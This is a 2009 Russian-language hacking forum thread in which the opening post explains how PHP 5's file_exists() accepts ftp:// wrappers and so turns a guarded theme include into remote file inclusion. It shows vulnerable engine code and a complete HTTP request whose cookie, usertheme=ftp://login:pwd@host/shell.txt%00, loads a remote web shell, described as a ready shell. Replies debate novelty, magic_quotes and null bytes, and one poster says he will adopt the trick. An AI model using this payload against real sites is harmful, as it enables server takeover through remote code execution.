Авторские статьи Небольшой очерк - file_exists

Discussion in 'Статьи' started by .Slip, 5 Jan 2009.

  1. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    На статью вряд ли потянет, ничего принципиально нового я не расскажу, но мб кому то пойдёт на пользу. Те кто занимаются сурсо копанием знают что эта функция очень часто портила всем RFI. Теперь портить не будет:) Итак, начнём.

    http://us3.php.net/manual/en/function.file-exists.php
    http://us.php.net/manual/en/wrappers.ftp.php
    Для тех кто не понял, начиная с пхп 5 ф-я может работать с упаковщиками урл. Не только с ftp:// но так же и с php://memory, php://temp, ssh2.sftp://. Потом я просто подумал, зачем заморачиваться с последними тремя, если есть простой фтп. Теперь непного наглядности, каким же всё таки раком это нам поможет.
    ==>
    PHP:
    <?php
    echo file_exists("ftp://user:pwd@host/shell.txt");
    ?>
    ==>
    Для примера такой сурс:
    PHP:
    <?php
    ...

    // theme definition by configuration or by cookie
    $usertheme getparam("usertheme"PAR_COOKIESAN_FLAT);
    if (
    $usertheme!="" AND !stristr("..",$usertheme) AND file_exists("$usertheme/theme.php")) {
        
    $theme $usertheme;
    } else {
        
    $theme "def";
    }
    include 
    "$theme/theme.php";

    ...
    ?>
    Тут бы и LFI не вышел, из за stristr, но теперь можно получить полноценный RFI.
    ==>
    Code:
    POST /script.php HTTP/1.0
    Host: host
    Cookie: usertheme=ftp://login:pwd@host/shell.txt%00
    Connection: close
    magic_quotes_gpc = Off
    ==>
    Готовый шелл
    -EOF-
     
    #1 .Slip, 5 Jan 2009
    Last edited: 24 Apr 2009
    12 people like this.
  2. brasco2k

    brasco2k Elder - Старейшина

    Joined:
    23 Nov 2007
    Messages:
    258
    Likes Received:
    91
    Reputations:
    0
    Ниочем. Давно известно, что функция может использоваться в качестве проверки существования файла на удаленном компьютере.

    А используется функция в движках, наверное, для того, чтобы не возникли ошибки инклудов.

    P.S Также начиная с PHP 5.0 функция stat тоже поддерживает информацию о файлах на удаленных хостах.
     
  3. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    >> А используется функция в движках, наверное, для того, чтобы не возникли ошибки инклудов.

    Ага, и !stristr("..",$usertheme) тоже от ошибок в инклудах.

    >> Ниочем. Давно известно, что функция может использоваться в качестве проверки существования файла на удаленном компьютере.

    ...ничего принципиально нового я не расскажу...

    Смысл переписывать мои слова?
     
  4. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    а мне понравилось, возьму на вооружение.
     
    1 person likes this.
  5. brain[pillow]

    brain[pillow] Active Member

    Joined:
    7 Nov 2008
    Messages:
    7
    Likes Received:
    103
    Reputations:
    74
    Маленькая поправочка - в приведённом ТС примере кода волшебные ковычки не обязательно должны быть Off.
     
  6. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Это вырезка кода из движка, там отдельно обрабатывались массивы gpc. Квотесы бы порезали нуллбайт.
     
  7. regnet

    regnet Active Member

    Joined:
    12 Mar 2009
    Messages:
    27
    Likes Received:
    106
    Reputations:
    -5
    Спасибо для меня было познавательно!